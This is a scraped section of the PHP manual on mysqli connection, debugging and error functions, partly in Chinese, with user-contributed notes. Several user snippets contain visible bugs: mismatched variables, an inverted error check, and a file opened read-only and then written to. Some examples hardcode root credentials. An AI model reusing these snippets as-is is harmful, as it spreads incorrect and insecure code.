$mysqli = new mysqli(ini_get("mysqli.default_host"),ini_get("mysqli.default_user"),ini_get("mysqli.default_pw"))
powtac at gmx de 11-Jul-2018 04:25
Be careful, mysqli_connect() does not return a resource ! It returns an instance of the mysqli class (http://php.net/manual/class.mysqli.php) The old mysql_connect() function did return a resource.
php at haravikk dot me 01-Oct-2017 06:58
Just wanted to add a note for anyone looking to use the MySQLi persistent connections feature; it's important to note that PHP opens and retains one connection per database user per process.

What this means is that if you are hosting multiple applications, each with its own database user (as is good practice) then you will end up multiplying the number of connections that PHP may hold open.

For example, if you have PHP configured with a maximum of eight worker processes, and you regularly use four different database users, then your MySQL server will need to accept at LEAST a maximum of 32 connections, or else it will run out.

However, if you would like to minimise the number of connections, what you can do is instead is to open the connection using a "guest" user (with no privileges except logging in) and then use ->change_user() to switch to a more privileged user, before switching back to the guest when you're done. Since all of the connections would therefore belong to the guest user, PHP should only maintain one per worker process.
chris at ocproducts dot com 21-Apr-2017 05:46
There's a separate port parameter, unlike mysql_connect. However, using host:port on the host parameter does actually work.

There is a caveat. If the host is 'localhost' then the port is ignored, whether you use a port parameter or the implicit syntax I mentioned above. This is because 'localhost' will make it use unix sockets rather than TCP/IP.
PaulieG 02-Feb-2016 06:31
It should be noted that on PHP 7 (v7.0.2 at least), passing the empty string '' for the Port argument while connecting to 'localhost' will prevent the connection from being successful altogether.

To work around this, use 'null'.
webmaster at aryes dot fr 18-Jul-2015 06:58
A friend of mine encountered a sudden bug with CMS Piwigo. I discovered that :
- He had a hosting rule to use PHP 5.6.
- The hoster uses 5.6.6, verified using phpinfo();.
- The CMS declared a database name parameter as null.

That gallery CMS was unable to connect to MySQL and left only a warning message about it.

We tried to revert back to PHP 5.5, the CMS worked again.

Then we switched back to 5.6.6 and changed those lines :

  $dbname = null;

  $mysqli = new mysqli($host, $user, $password, $dbname, $port, $socket);

to

  $dbname = ''; // Use an empty string, not null

  $mysqli = new mysqli($host, $user, $password, $dbname, $port, $socket);

It worked!

So if you made the same mistake, using null where the manual invites to use an empty string, you should consider correcting your code.
Ben 03-Mar-2015 11:28
A far more secure and language independent way of connecting to mysql is to use the READ_DEFAULT_FILE options. This passes the workload over to the mysql library, which allows for the configuration file itself to be outside of the scope of the language.

The config file itself is something like this:
[client]
user=user_u
password=user_password
host=dbhost
port=3306
database=the_database
default-character-set=utf8

The following code fragment (in OO mysql_i format)

$sqlconf='/var/private/my.cnf';
$sql = new mysqli;
$sql->init();
$sql->options(MYSQLI_READ_DEFAULT_FILE,$sqlconf);
$sql->real_connect();
linguafranca2003 at yahoo dot com 28-Nov-2014 05:21
mysqli can succeed in surprising ways, depending on the privileges granted to the user. For example,

GRANT USAGE ON *.* TO 'myuser'@'localhost' IDENTIFIED BY PASSWORD 'mypassword';
GRANT ALL PRIVILEGES ON `database_a`.* TO 'myuser'@'localhost';
CREATE DATABASE database_b;

<?php
$db = new mysqli('localhost', 'myuser', 'mypassword', 'database_b');

if ($db->connect_error) {
        die('Connect Error (' . $db->connect_errno . ') '
            . $mysqli->connect_error);
}

printf("SQLSTATE: %s\n", $this->db->sqlstate);
printf("Warning Count: %s\n", $db->warning_count);
$db->close();
?>

Will output:

SQLSTATE: 00000
Warning Count: 0

So, life is good — you're connected to the database and executing mysqli methods. Except, life isn't good, because you aren't actually using database_b because myuser doesn't have any privileges on it. You won't catch this until you try to perform a later operation, when you'll get an error, "MYSQL Error: No database selected", and find yourself scratching your head and thinking "what do you mean, of course I have a database selected; I selected one when I called the constructor".

As a result, you may want to perform an additional check after connecting to mysql, to confirm that you're actually connected not just to the mysql server, but to the actual database:

<?php
$db = new mysqli('localhost', 'myuser', 'mypassword', 'database_b');

if ($db->connect_error) {
        die('Connect Error (' . $db->connect_errno . ') '
            . $mysqli->connect_error);
} elseif ($result = $db->query("SELECT DATABASE()")) {
        $row = $result->fetch_row();
        if ($row[0] != 'database_b') {
                //oops! We're connected to mysql, but not to database_b
        }
}
?>
andres at 21brains dot com 03-Jun-2014 09:39
Please do use set_charset("utf8") after establishing the connection if you want to avoid weird string issues. I do not know why the documentation does not warn you about this kind of stuff.

We had a hard time figuring out what was going on since we were using mb_detect_encoding and it said everything was UTF-8, but of course the display was wrong. If we used iconv from ISO-8859-1 to UTF-8 the strings looked fine, even though everything in the database had the right collation. So in the end, it was the connection that was the filter and although the notes for this function mention default charsets, it almost reads as a sidenote instead of a central issue when dealing with UTF and PHP/MySQL.
fugyl13 at gmail dot com 01-Apr-2014 04:41
Note that on all >=Windows 7 Servers, a host name "localhost" will create a very expensive lookup (~1 Second).

That's because since Windows 7, the hosts file doesn't come with a preconfigured
127.0.0.1 localhost
anymore

So, if you notice a long connection creation, try "127.0.0.1" instead.
paul at mtnlist dot com 02-Jun-2013 08:19
If you want to connect via an alternate port (other than 3306), as you might when using an ssh tunnel to another host, using "localhost" as the hostname will not work.

Using 127.0.0.1 will work.  Apparently, if you specify the host as "localhost", the constructor ignores the port specified as an argument to the constructor.
oleg at mastak dot fi 19-Apr-2013 01:02
If you want to connect to local named pipe on windows and you get error "php_network_getaddresses: getaddrinfo failed: No such host is known. ", even if you using using "." as host, please check your if you are using mysqlnd driver: If this is true, then probably you need to update to version 5.4 of php:

Named pipes support for Windows was added in PHP version 5.4.0.
@ http://php.net/manual/en/mysqlnd.overview.php

Hopefully that will save you some time.
Anonymous 13-Sep-2009 05:37
If you get an error like
  Can't connect to MySQL server on 'localhost' (10061)
and you use named pipes/socket connections (or aren't sure how you installed the MySQL server) try the following connect command:

<?php
mysqli_connect('.', $user_name, $password, $database_name, null, 'mysql');
?>

The '.' as hostname is absolutely necessary when using named pipes. 'localhost' won't work. 'mysql' is the standard name for the pipe/socket.


Performs debugging operations

  • ? mysqli::__construct
  • mysqli::dump_debug_info ?
  • PHP Manual
  • mysqli
  • Performs debugging operations

mysqli::debug

mysqli_debug

(PHP 5, PHP 7, PHP 8)

mysqli::debug -- mysqli_debug — Performs debugging operations

说明

面向对象风格

public mysqli::debug(string $options): true

过程化风格

mysqli_debug(string $options): true

Performs debugging operations using the Fred Fish debugging library.

参数

options

A string representing the debugging operation to perform

The debug control string is a sequence of colon separated fields as follows:

<field_1>:<field_2>:<field_N>
Each field consists of a mandatory flag character followed by an optional , and comma separated list of modifiers: flag[,modifier,modifier,...,modifier]

Recognized Flag Characters
options character | Description
O | MYSQLND_DEBUG_FLUSH
A/a | MYSQLND_DEBUG_APPEND
F | MYSQLND_DEBUG_DUMP_FILE
i | MYSQLND_DEBUG_DUMP_PID
L | MYSQLND_DEBUG_DUMP_LINE
m | MYSQLND_DEBUG_TRACE_MEMORY_CALLS
n | MYSQLND_DEBUG_DUMP_LEVEL
o | output to file
T | MYSQLND_DEBUG_DUMP_TIME
t | MYSQLND_DEBUG_DUMP_TRACE
x | MYSQLND_DEBUG_PROFILE_CALLS

返回值

总是返回 true。

更新日志

版本 | 说明
8.0.0 | This function now always returns true. Previously it returned false on failure.

示例

Example #1 Generating a Trace File

<?php

/* Create a trace file in '/tmp/client.trace' on the local (client) machine: */
mysqli_debug("d:t:o,/tmp/client.trace");

?>

注释

Note:

To use the mysqli_debug() function you must compile the MySQL client library to support debugging.

参见

  • mysqli_dump_debug_info() - 将调试信息输出到日志
  • mysqli_report() - 别名 mysqli_driver->report_mode

User Contributed Notes

Domenic 14-May-2018 10:17
Looks like this manual could be referred to:

http://tiebing.blogspot.com.au/2011/10/cc-dbug-library.html

(I haven't tested it)
riversnowchang at gmail dot com 03-Jan-2018 02:42
Here are the information about debug options on mysqli_debug()

O,o:MYSQLND_DEBUG_FLUSH
A,a:MYSQLND_DEBUG_APPEND
F:MYSQLND_DEBUG_DUMP_FILE
L:MYSQLND_DEBUG_DUMP_LINE
m:MYSQLND_DEBUG_TRACE_MEMORY_CALLS
n:MYSQLND_DEBUG_DUMP_LEVEL
o:output to file
T:MYSQLND_DEBUG_DUMP_TIME
t:MYSQLND_DEBUG_DUMP_TRACE
x:MYSQLND_DEBUG_PROFILE_CALLS
f:? still investigating

For example, mysqli_debug("T:n:t:m:x:F:L:o,/tmp/client.trace");
mysqlnd will write Time, Level, trace, memory calls, profile calls, File, Line to client.trace file.

22:35:42.704501 ../mysqlnd_connection.c:  269   0:>mysqlnd_connection_init
22:35:42.704538 ../mysqlnd_driver.c:   10   1:| >mysqlnd_driver::get_connection
22:35:42.704549 ../mysqlnd_driver.c:   10   2:| | info : persistent=1
22:35:42.704558 ../mysqlnd_alloc.c:   21   2:| | >_mysqlnd_pecalloc
22:35:42.704570 ../mysqlnd_alloc.c:   23   2:| | <_mysqlnd_pecalloc (total=3 own=3 in_calls=0)
22:35:42.704602 ../mysqlnd_alloc.c:   21   2:| | >_mysqlnd_pecalloc
22:35:42.704626 ../mysqlnd_alloc.c:   23   2:| | <_mysqlnd_pecalloc (total=2 own=2 in_calls=0)
22:35:42.704650 ../mysqlnd_connection.c:   15   2:| | >mysqlnd_error_info_init
22:35:42.704675 ../mysqlnd_connection.c:   10   3:| | | >mysqlnd_error_info::reset
22:35:42.704697 ../mysqlnd_connection.c:   10   3:| | | <mysqlnd_error_info::reset (total=1 own=1 in_calls=0)
22:35:42.704725 ../mysqlnd_connection.c:   16   2:| | <mysqlnd_error_info_init (total=51 own=50 in_calls=1)
22:35:42.704744 ../mysqlnd_connection.c:   21   2:| | >mysqlnd_connection_state_init

If there is anything wrong, please let me know.
Peter 10-May-2014 10:59
can there be more documenation with a small (but working) example script on how to use this ?

Some issues  (Ive seen the "same" code example in dozens of tutorials):-

( I'll use capitals for emphasis only)

QUESTION: what does D:T:O mean ? UNEXPLAINED.

QUESTION: Do we *ONLY* use these 3 lines in a self-contained script ? Does this log ALL future MYSQL commands ?

QUESTION :- Do we put that one line just

- immediately after we connect to MYSQL ?
- before we connect to MYSQL ?
- before our suspected error ?


将调试信息输出到日志

  • ? mysqli::debug
  • mysqli::$errno ?
  • PHP Manual
  • mysqli
  • 将调试信息输出到日志

mysqli::dump_debug_info

mysqli_dump_debug_info

(PHP 5, PHP 7, PHP 8)

mysqli::dump_debug_info -- mysqli_dump_debug_info — 将调试信息输出到日志

说明

面向对象风格

public mysqli::dump_debug_info(): bool

过程化风格

mysqli_dump_debug_info(mysqli $mysql): bool

这个函数设计用于超级权限用户执行将调试信息输出到连接相关的 MySQL Server 的日志中。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • mysqli_debug() - Performs debugging operations

User Contributed Notes

There are no user contributed notes for this page.


返回最近函数调用的错误代码

  • ? mysqli::dump_debug_info
  • mysqli::$error_list ?
  • PHP Manual
  • mysqli
  • 返回最近函数调用的错误代码

mysqli::$errno

mysqli_errno

(PHP 5, PHP 7, PHP 8)

mysqli::$errno -- mysqli_errno — 返回最近函数调用的错误代码

说明

面向对象风格

int $mysqli->errno;

过程化风格

mysqli_errno(mysqli $mysql): int

返回最近一次 mysqli 函数调用成功或者失败产生的错误代码。

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

上次调用产生的错误代码（如果失败）, 0 代表没有错误发生。

示例

Example #1 $mysqli->errno 示例

面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* 检查连接 */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}

if (!$mysqli->query("SET a=1")) {
printf("Errorcode: %d\n", $mysqli->errno);
}

/* 关闭连接 */
$mysqli->close();
?>

过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* 检查连接 */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

if (!mysqli_query($link, "SET a=1")) {
printf("Errorcode: %d\n", mysqli_errno($link));
}

/* 关闭连接 */
mysqli_close($link);
?>

以上示例会输出：

Errorcode: 1193

参见

  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a description of the last connection error
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - 返回上一次 MySQL 操作的 SQLSTATE 错误

User Contributed Notes

erwin at transpontine dot com 28-Jun-2013 05:31
You can also find the error codes for for example MySQL 5.5 here: http://dev.mysql.com/doc/refman/5.5/en/error-handling.html


Returns a list of errors from the last command executed

  • ? mysqli::$errno
  • mysqli::$error ?
  • PHP Manual
  • mysqli
  • Returns a list of errors from the last command executed

mysqli::$error_list

mysqli_error_list

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

mysqli::$error_list -- mysqli_error_list — Returns a list of errors from the last command executed

说明

面向对象风格

array $mysqli->error_list;

过程化风格

mysqli_error_list(mysqli $mysql): array

Returns a array of errors for the most recent MySQLi function call that can succeed or fail.

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

A list of errors, each as an associative array containing the errno, error, and sqlstate.

示例

Example #1 $mysqli->error_list example

面向对象风格

<?php
$mysqli = new mysqli("localhost", "nobody", "");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

if (!$mysqli->query("SET a=1")) {
print_r($mysqli->error_list);
}

/* close connection */
$mysqli->close();
?>

过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

if (!mysqli_query($link, "SET a=1")) {
print_r(mysqli_error_list($link));
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Array
(
    [0] => Array
        (
            [errno] => 1193
            [sqlstate] => HY000
            [error] => Unknown system variable 'a'
        )

)

参见

  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a description of the last connection error
  • mysqli_error() - Returns a string description of the last error
  • mysqli_sqlstate() - 返回上一次 MySQL 操作的 SQLSTATE 错误

User Contributed Notes

Anonymous 09-Jan-2020 12:54
Beware, that this may also return false instead of [].


Returns a string description of the last error

  • ? mysqli::$error_list
  • mysqli::execute_query ?
  • PHP Manual
  • mysqli
  • Returns a string description of the last error

mysqli::$error

mysqli_error

(PHP 5, PHP 7, PHP 8)

mysqli::$error -- mysqli_error — Returns a string description of the last error

说明

面向对象风格

string $mysqli->error;

过程化风格

mysqli_error(mysqli $mysql): string

Returns the last error message for the most recent MySQLi function call that can succeed or fail.

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

A string that describes the error. An empty string if no error occurred.

示例

Example #1 $mysqli->error example

面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}

if (!$mysqli->query("SET a=1")) {
printf("Error message: %s\n", $mysqli->error);
}

/* close connection */
$mysqli->close();
?>

过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
printf("Connect failed: %s\n", mysqli_connect_error());
exit();
}

if (!mysqli_query($link, "SET a=1")) {
printf("Error message: %s\n", mysqli_error($link));
}

/* close connection */
mysqli_close($link);
?>

以上示例会输出：

Error message: Unknown system variable 'a'

参见

  • mysqli_connect_errno() - Returns the error code from last connect call
  • mysqli_connect_error() - Returns a description of the last connection error
  • mysqli_errno() - 返回最近函数调用的错误代码
  • mysqli_sqlstate() - 返回上一次 MySQL 操作的 SQLSTATE 错误

User Contributed Notes

abderrahmanekaddour dot aissat at gmail dot com 28-Aug-2022 09:33
<?php

// The idea is the add formated errors information for developers to easier bugs detection.

$myfile = fopen("database_log.log", "r");
$db = new mysqli("localhost", "root","root","data");
if(!$db->query("SELECT")){
  $timestamp = new DateTime();
  $data_err = " {
     \"title\": \" Select statement error \",
     \"date_time\": ".$timestamp->getTimestamp().",
     \"error\":\" ".$db->error." \"
     } "; // Do more information
  fwrite($myfile, $data_err); // writing data
}
    // In separate file do file read and format it for good visual.

$db->close();
fclose($myfile);
?>
Anonymous 12-Nov-2019 07:19
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
try {
                $this->connection = mysqli_connect($hostname,$username,$password, $dbname);
} catch (Exception $e) {
                echo "Errno: " . mysqli_connect_errno() . PHP_EOL;
                echo "Text error: " . mysqli_connect_error() . PHP_EOL;
                exit;
}
callforeach at gmail dot com 10-Mar-2015 01:39
I had to set mysqli_report(MYSQLI_REPORT_ALL) at the begin of my script to be able to catch mysqli errors within the catch block of my php code.

Initially, I used the below code to throw and subsequent catch mysqli exceptions

<?php
try {
   $mysqli = new mysqli('localhost','root','pwd','db');
    if ($mysqli->connect_errno)
        throw new Exception($mysqli->connect_error);

} catch (Exception $e) {
     echo $e->getMessage();
}

I realized the exception was being thrown before the actual throw statement and hence the catch block was not being called.

My current code looks like
mysqli_report(MYSQLI_REPORT_ALL) ;
try {
      $mysqli = new mysqli('localhost','root','pwd','db');
      /* I don't need to throw the exception, it's being thrown automatically */

} catch (Exception $e) {
  echo $e->getMessage();
}

This works fine and I'm able to trap all mysqli errors
asmith16 at littlesvr dot ca 01-Nov-2013 11:42
Please note that the string returned may contain data initially provided by the user, possibly making your code vulnerable to XSS.

So even if you escape everything in your SQL query using mysqli_real_escape_string(), make sure that if you plan to display the string returned by mysqli_error() you run that string through htmlspecialchars().

As far as I can tell the two escape functions don't escape the same characters, which is why you need both (the first for SQL and the second for HTML/JS).
se (at) brainbits (dot) net 20-Apr-2006 05:22
The decription "mysqli_error -- Returns a string description of the LAST error" is not exactly that what you get from mysqli_error. You get the error description from the last mysqli-function, not from the last mysql-error.

If you have the following situation

if (!$mysqli->query("SET a=1")) {
   $mysqli->query("ROLLBACK;")
   printf("Errormessage: %s\n", $mysqli->error);
}

you don't get an error-message, if the ROLLBACK-Query didn't failed, too. In order to get the right error-message you have to write:

if (!$mysqli->query("SET a=1")) {
   printf("Errormessage: %s\n", $mysqli->error);
   $mysqli->query("ROLLBACK;")
}
information at saunderswebsolutions dot com 24-Jan-2006 02:37
The mysqli_sql_exception class is not available to PHP 5.05

I used this code to catch errors
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$res) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>
The problem with this is that valid values for $res are: a mysqli_result object , true or false
This doesn't tell us that there has been an error with the sql used.
If you pass an update statement, false is a valid result if the update fails.

So, a better way is:
<?php
$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if (!$mysqli->error) {
   printf("Errormessage: %s\n", $mysqli->error);
}

?>

This would output something like:
Unexpected PHP error [mysqli::query() [<a href='function.query'>function.query</a>]: (42S22/1054): Unknown column 'XXname' in 'field list'] severity [E_WARNING] in [G:\database.php] line [249]

Very frustrating as I wanted to also catch the sql error and print out the stack trace.

A better way is:

<?php
mysqli_report(MYSQLI_REPORT_OFF); //Turn off irritating default messages

$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT XXname FROM customer_table ";
$res = $mysqli->query($query);

if ($mysqli->error) {
    try {
        throw new Exception("MySQL error $mysqli->error <br> Query:<br> $query", $msqli->errno);
    } catch(Exception $e ) {
        echo "Error No: ".$e->getCode(). " - ". $e->getMessage() . "<br >";
        echo nl2br($e->getTraceAsString());
    }
}

//Do stuff with the result
?>
Prints out something like:
Error No: 1054
Unknown column 'XXname' in 'field list'
Query:
SELECT XXname FROM customer_table

#0 G:\\database.php(251): database->dbError('Unknown column ...', 1054, 'getQuery()', 'SELECT XXname F...')
#1 G:\data\WorkSites\1framework5\tests\dbtest.php(29): database->getString('SELECT XXname F...')
#2 c:\PHP\includes\simpletest\runner.php(58): testOfDB->testGetVal()
#3 c:\PHP\includes\simpletest\runner.php(96): SimpleInvoker->invoke('testGetVal')
#4 c:\PHP\includes\simpletest\runner.php(125): SimpleInvokerDecorator->invoke('testGetVal')
#5 c:\PHP\includes\simpletest\runner.php(183): SimpleErrorTrappingInvoker->invoke('testGetVal')
#6 c:\PHP\includes\simpletest\simple_test.php(90): SimpleRunner->run()
#7 c:\PHP\includes\simpletest\simple_test.php(498): SimpleTestCase->run(Object(HtmlReporter))
#8 c:\PHP\includes\simpletest\simple_test.php(500): GroupTest->run(Object(HtmlReporter))
#9 G:\all_tests.php(16): GroupTest->run(Object(HtmlReporter))

This will actually print out the error, a stack trace and the offending sql statement. Much more helpful when the sql statement is generated somewhere else in the code.
information at saunderswebsolutions dot com 13-Jan-2006 02:52
Hi, you can also use the new mysqli_sql_exception to catch sql errors.
Example:
<?php
//set up $mysqli_instance here..
$Select = "SELECT xyz FROM mytable ";
try {
    $res = $mysqli_instance->query($Select);
}catch (mysqli_sql_exception $e) {
    print "Error Code <br>".$e->getCode();
    print "Error Message <br>".$e->getMessage();
    print "Strack Trace <br>".nl2br($e->getTraceAsString());
}

?>
Will print out something like
Error Code: 0
Error Message
No index used in query/prepared statement select sess_value from frame_sessions where sess_name = '5b85upjqkitjsostvs6g9rkul1'
Strack Trace:
#0 G:\classfiles\lib5\database.php(214): mysqli->query('select sess_val...')
#1 G:\classfiles\lib5\Session.php(52): database->getString('select sess_val...')
#2 [internal function]: sess_read('5b85upjqkitjsos...')
#3 G:\classfiles\includes.php(50): session_start()
#4 G:\tests\all_tests.php(4): include('G:\data\WorkSit...')
#5 {main}


Prepares, binds parameters, and executes SQL statement

  • ? mysqli::$error
  • mysqli::$field_count ?
  • PHP Manual
  • mysqli
  • Prepares, binds parameters, and executes SQL statement

mysqli::execute_query

mysqli_execute_query

(PHP 8 >= 8.2.0)

mysqli::execute_query -- mysqli_execute_query — Prepares, binds parameters, and executes SQL statement

说明

面向对象风格

public mysqli::execute_query(string $query, ?array $params = null): mysqli_result|bool

过程化风格

mysqli_execute_query(mysqli $mysql, string $query, ?array $params = null): mysqli_result|bool

Prepares the SQL query, binds parameters, and executes it.
The mysqli::execute_query() method is a shortcut for
mysqli::prepare(),
mysqli_stmt::bind_param(),
mysqli_stmt::execute(),
and mysqli_stmt::get_result().

The statement template can contain zero or more question mark (?) parameter markers?—also called placeholders. The parameter values must be provided as an array using params parameter.

A prepared statement is created under the hood but it's never exposed outside of the function. It's impossible to access properties of the statement as one would do with the mysqli_stmt object. Due to this limitation, the status information is copied to the mysqli object and is available using its methods, e.g. mysqli_affected_rows() or mysqli_error().

Note:

In the case where a statement is passed to mysqli_execute_query() that is longer than max_allowed_packet of the server, the returned error codes are different depending on the operating system. The behavior is as follows:

  • On Linux returns an error code of 1153. The error message means got a packet bigger than max_allowed_packet bytes.

  • On Windows returns an error code 2006. This error message means server has gone away.

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

query

The query, as a string. It must consist of a single SQL statement.

The SQL statement may contain zero or more parameter markers represented by question mark (?) characters at the appropriate positions.

Note:

The markers are legal only in certain places in SQL statements. For example, they are permitted in the VALUES() list of an INSERT statement (to specify column values for a row), or in a comparison with a column in a WHERE clause to specify a comparison value. However, they are not permitted for identifiers (such as table or column names).

params

An optional list array with as many elements as there are bound parameters in the SQL statement being executed. Each value is treated as a string.

返回值

Returns false on failure. For successful queries which produce a result set, such as SELECT, SHOW, DESCRIBE or EXPLAIN, returns a mysqli_result object. For other successful queries, returns true.

示例

Example #1 mysqli::execute_query() example

面向对象风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

$query = 'SELECT Name, District FROM City WHERE CountryCode=? ORDER BY Name LIMIT 5';
$result = $mysqli->execute_query($query, ['DEU']);
foreach ($result as $row) {
printf("%s (%s)\n", $row["Name"], $row["District"]);
}

过程化风格

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = 'SELECT Name, District FROM City WHERE CountryCode=? ORDER BY Name LIMIT 5';
$result = mysqli_execute_query($link, $query, ['DEU']);
foreach ($result as $row) {
printf("%s (%s)\n", $row["Name"], $row["District"]);
}

以上示例的输出类似于：

Aachen (Nordrhein-Westfalen)
Augsburg (Baijeri)
Bergisch Gladbach (Nordrhein-Westfalen)
Berlin (Berliini)
Bielefeld (Nordrhein-Westfalen)

参见

  • mysqli_prepare() - 预处理执行 SQL
  • mysqli_stmt_execute() - Executes a prepared statement
  • mysqli_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • mysqli_stmt_get_result() - Gets a result set from a prepared statement as a mysqli_result object

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of columns for the most recent query

  • ? mysqli::execute_query
  • mysqli::get_charset ?
  • PHP Manual
  • mysqli
  • Returns the number of columns for the most recent query

mysqli::$field_count

mysqli_field_count

(PHP 5, PHP 7, PHP 8)

mysqli::$field_count -- mysqli_field_count — Returns the number of columns for the most recent query

说明

面向对象风格

int $mysqli->field_count;

过程化风格

mysqli_field_count(mysqli $mysql): int

Returns the number of columns for the most recent query on the connection represented by the mysql parameter. This function can be useful when using the mysqli_store_result() function to determine if the query should have produced a non-empty result set or not without knowing the nature of the query.

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

An integer representing the number of fields in a result set.

示例

Example #1 $mysqli->field_count example

面向对象风格

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "test");

$mysqli->query( "DROP TABLE IF EXISTS friends");
$mysqli->query( "CREATE TABLE friends (id int, name varchar(20))");

$mysqli->query( "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

$mysqli->real_query("SELECT * FROM friends");

if ($mysqli->field_count) {
/* this was a select/show or describe query */
$result = $mysqli->store_result();

/* process resultset */
$row = $result->fetch_row();

/* free resultset */
$result->close();
}

/* close connection */
$mysqli->close();
?>

过程化风格

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "test");

mysqli_query($link, "DROP TABLE IF EXISTS friends");
mysqli_query($link, "CREATE TABLE friends (id int, name varchar(20))");

mysqli_query($link, "INSERT INTO friends VALUES (1,'Hartmut'), (2, 'Ulf')");

mysqli_real_query($link, "SELECT * FROM friends");

if (mysqli_field_count($link)) {
/* this was a select/show or describe query */
$result = mysqli_store_result($link);

/* process resultset */
$row = mysqli_fetch_row($result);

/* free resultset */
mysqli_free_result($result);
}

/* close connection */
mysqli_close($link);
?>

User Contributed Notes

dedlfix 18-Jul-2006 10:26
There are MYSQLI_TYPE_* constants for the type property (listed in http://php.net/manual/en/ref.mysqli.php).

e.g.
<?php
if ($finfo->type == MYSQLI_TYPE_VAR_STRING)
  // a VARCHAR


Returns a character set object

  • ? mysqli::$field_count
  • mysqli::$client_info ?
  • PHP Manual
  • mysqli
  • Returns a character set object

mysqli::get_charset

mysqli_get_charset

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

mysqli::get_charset -- mysqli_get_charset — Returns a character set object

说明

面向对象风格

public mysqli::get_charset(): ?object

过程化风格

mysqli_get_charset(mysqli $mysql): ?object

Returns a character set object providing several properties of the current active character set.

参数

mysql

仅以过程化样式：由 mysqli_connect() 或 mysqli_init() 返回的 mysqli 对象。

返回值

The function returns a character set object with the following properties:

charset

Character set name

collation

Collation name

dir

Directory the charset description was fetched from (?) or "" for built-in character sets

min_length

Minimum character length in bytes

max_length

Maximum character length in bytes

number

Internal character set number

state

Character set status (?)

示例

Example #1 mysqli::get_charset() example

面向对象风格

<?php
$db = mysqli_init();
$db->real_connect("localhost","root","","test");
var_dump($db->get_charset());
?>

过程化风格

<?php
$db = mysqli_init();
mysqli_real_connect($db, "localhost","root","","test");
var_dump(mysqli_get_charset($db));
?>

以上示例会输出：

object(stdClass)#2 (7) {
  ["charset"]=>
  string(6) "latin1"
  ["collation"]=>
  string(17) "latin1_swedish_ci"
  ["dir"]=>
  string(0) ""
  ["min_length"]=>
  int(1)
  ["max_length"]=>
  int(1)
  ["number"]=>
  int(8)
  ["state"]=>
  int(801)
}

参见

  • mysqli_character_set_name() - 返回当前数据库连接的字符编码
  • mysqli_set_charset() - 设置客户端字符集

User Contributed Notes

There are no user contributed notes for this page.


获取 MySQL 客户端信息

  • ? mysqli::get_charset
  • mysqli::$client_version ?
  • PHP Manual
  • mysqli
  • 获取 MySQL 客户端信息

mysqli::$client_info

mysqli::get_client_info

mysqli_get_client_info

(PHP 5, PHP 7, PHP 8)

mysqli::$client_info -- mysqli::get_client_info -- mysqli_get_client_info — 获取 MySQL 客户端信息

说明

面向对象风格

string $mysqli->client_info;
public mysqli::get_client_info(): string

过程化风格

mysqli_get_client_info(?mysqli $mysql = null): string

返回表示 MySQL 客户端库的版本信息的字符串。

参数

此函数没有参数。

返回值

表示 MySQL 客户端库的版本信息的字符串。

更新日志

版本 | 说明
8.1.0 | 弃用使用 mysql 参数调用 mysqli_get_client_info()。此函数从不需要参数，但错误的允许其作为可选参数。
8.1.0 | 弃用面向对象风格的 mysqli::get_client_info()。

示例

Example #1 mysqli_get_client_info

<?php

/* 获取客户端版本新的时候，
无需建立到数据库的连接 */

printf("Client library version: %s\n", mysqli_get_client_info());
?>

参见

  • mysqli_get_client_version() - 作为整数返回 MySQL 客户端的版本
  • mysqli_get_server_info() - 返回 MySQL 服务器的版本号
  • mysqli_get_server_version() - 作为一个整数返回MySQL服务器的版本

User Contributed Notes

There are no user contributed notes for this page.


作为整数返回 MySQL 客户端的版本

  • ? mysqli::$client_info
  • mysqli::get_connection_stats ?
  • PHP Manual
  • mysqli
  • 作为整数返回 MySQL 客户端的版本

mysqli::$client_version

mysqli_get_client_version

(PHP 5, PHP 7, PHP 8)

